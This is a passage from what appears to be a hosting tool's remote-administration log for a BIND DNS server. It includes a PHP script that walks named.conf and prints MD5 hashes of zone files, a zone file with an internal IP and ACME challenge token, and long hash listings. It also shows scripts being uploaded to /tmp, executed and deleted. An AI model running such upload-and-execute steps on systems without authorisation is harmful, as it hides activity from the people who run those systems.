sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-08-26 15:09:44:
chmod 755 /tmp/pkp130478; /tmp/pkp130478; rm /tmp/pkp130478
2025-08-26 15:09:44:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt 486
; this is an automatically created file: manual changes will be overwritten.
$TTL 3600
cityelectric.site. IN SOA cityelectric.site. hostmaster.cityelectric.site. ( 131244091 14400 3600 14400 3600 )
cityelectric.site. IN NS ns1.hostz.org.
cityelectric.site. IN NS ns2.hostz.org.
@ IN A 10.140.12.86
_acme-challenge 60 IN TXT "mO2RC6k1xvw01x5red5tHwln3MAn1fsaayFEpUGjusA"
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= ead22db0f92a33841cc438de003f20f0
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-26 15:39:53: Establishing a connection
2025-08-26 15:43:04: Establishing a connection
2025-08-26 15:46:41: Establishing a connection
2025-08-26 15:46:41:
PUT: /tmp/pkp360149
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-26 15:46:41:
runuser -l bind -s /bin/bash -c '/tmp/pkp360149; rm /tmp/pkp360149'
2025-08-26 15:46:42:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
